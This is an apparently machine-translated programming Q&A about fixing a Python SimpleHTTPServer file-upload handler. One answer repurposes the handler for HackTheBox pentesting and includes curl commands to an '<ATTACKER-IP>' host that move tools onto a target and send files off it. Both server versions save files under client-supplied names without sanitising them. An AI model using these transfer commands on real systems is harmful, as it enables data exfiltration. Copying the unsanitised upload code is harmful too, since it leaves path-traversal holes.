Python SimpleHTTPServer接收文件

时间:2016-09-30 09:50:19

标签: python file-upload cgi python-requests simplehttpserver

我正在使用SimpleHTTPServer的do_POST方法来接收文件。如果我使用curl上传png文件但是每当我使用python请求库上传文件时,脚本工作正常,文件上传但是已损坏。这是SimpleHTTPServer代码

#!/usr/bin/env python
# Simple HTTP Server With Upload.

import os
import posixpath
import BaseHTTPServer
import urllib
import cgi
import shutil
import mimetypes
import re
try:
    from cStringIO import StringIO
except ImportError:
    from StringIO import StringIO

class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):    
    # Simple HTTP request handler with POST commands.

    def do_POST(self):
        """Serve a POST request."""
        r, info = self.deal_post_data()
        print r, info, "by: ", self.client_address
        f = StringIO()

        if r:
            f.write("<strong>Success:</strong>")
        else:
            f.write("<strong>Failed:</strong>")

        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()

    def deal_post_data(self):
        print self.headers
        boundary = self.headers.plisttext.split("=")[1]
        print 'Boundary %s' %boundary
        remainbytes = int(self.headers['content-length'])
        print "Remain Bytes %s" %remainbytes
        line = self.rfile.readline()
        remainbytes -= len(line)
        if not boundary in line:
            return (False, "Content NOT begin with boundary")
        line = self.rfile.readline()
        remainbytes -= len(line)
        fn = re.findall(r'Content-Disposition.*name="file"; filename="(.*)"', line)
        if not fn:
            return (False, "Can't find out file name...")
        path = self.translate_path(self.path)
        fn = os.path.join(path, fn[0])
        line = self.rfile.readline()
        remainbytes -= len(line)
        line = self.rfile.readline()
        remainbytes -= len(line)
        try:
            out = open(fn, 'wb')
        except IOError:
            return (False, "Can't create file to write, do you have permission to write?")

        preline = self.rfile.readline()
        remainbytes -= len(preline)
        while remainbytes > 0:
            line = self.rfile.readline()
            remainbytes -= len(line)
            if boundary in line:
                preline = preline[0:-1]
                if preline.endswith('\r'):
                    preline = preline[0:-1]
                out.write(preline)
                out.close()
                return (True, "File '%s' upload success!" % fn)
            else:
                out.write(preline)
                preline = line
        return (False, "Unexpect Ends of data.")



    def translate_path(self, path):
        """Translate a /-separated PATH to the local filename syntax.

        Components that mean special things to the local file system
        (e.g. drive or directory names) are ignored.  (XXX They should
        probably be diagnosed.)

        """
        # abandon query parameters
        path = path.split('?',1)[0]
        path = path.split('#',1)[0]
        path = posixpath.normpath(urllib.unquote(path))
        words = path.split('/')
        words = filter(None, words)
        path = os.getcwd()
        for word in words:
            drive, word = os.path.splitdrive(word)
            head, word = os.path.split(word)
            if word in (os.curdir, os.pardir): continue
            path = os.path.join(path, word)
        return path

    def copyfile(self, source, outputfile):
        """Copy all data between two file objects.

        The SOURCE argument is a file object open for reading
        (or anything with a read() method) and the DESTINATION
        argument is a file object open for writing (or
        anything with a write() method).

        The only reason for overriding this would be to change
        the block size or perhaps to replace newlines by CRLF
        -- note however that this the default server uses this
        to copy binary data as well.

        """
        shutil.copyfileobj(source, outputfile)



def test(HandlerClass = SimpleHTTPRequestHandler,
         ServerClass = BaseHTTPServer.HTTPServer):
    BaseHTTPServer.test(HandlerClass, ServerClass)

if __name__ == '__main__':
    test()

上传文件的客户端代码在这里

#!/usr/bin/python

import requests

files = {'file': open('test.png', 'rb')}
r = requests.post('http://192.168.5.134:8000', files=files)
print r.request.headers

文件已成功上传但已损坏。

python request header

SimpleHTTPServer response

使用curl [curl -F&#39; file=@test.png' 192.168.5.134:8000/-v],文件已上传并成功打开。

python-request代码中是否有任何问题?

2 个答案:

答案 0 :(得分:2)

curlrequest标题稍有不同,curl有一个额外的空行而requests没有。

preline = self.rfile.readline()替换为以下块

if line.strip():
    preline = line
else:
    preline = self.rfile.readline()

答案 1 :(得分:2)

2019更新:我今天正在hackthebox.eu上寻找此功能。我对Python不太了解,但最终还是以这个示例为例,将其移植到Python 3上,因为Python 2在这一点上基本上已经死了。

希望这对任何在2019年寻求帮助的人都有帮助,我总是很高兴听到我可以改进代码的方式。在https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

处获取

感谢提问者,以及那些带有信息评论的人!

编辑:我被要求粘贴代码,不用担心。为了简洁起见,我删除了一些评论,因此请注意以下几点:

  1. 因为归因很重要,所以基于gist(由bones7456撰写)。
  2. 我从响应中删除了HTML,因为我的用例不需要它。
  3. 在野外使用此工具需要您自担风险。我使用它在HTB上的服务器之间移动文件,因此基本上它是当前形式的玩具。
  4. 拥有行星等

从攻击设备的运行脚本,其中包含工具/数据的文件夹或正在关闭的框。从目标PC连接到它,即可轻松方便地来回推送文件。

#  Usage - connect from a shell on the target machine:
#  Download a file from your attack device: 
curl -O http://<ATTACKER-IP>:44444/<FILENAME>

#  Upload a file back to your attack device: 
curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/


#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
curl -F 'file=@<FILE1>' -F 'file=@<FILE2>' http://<ATTACKER-IP>:44444/

代码:

#!/usr/env python3
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 44444

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()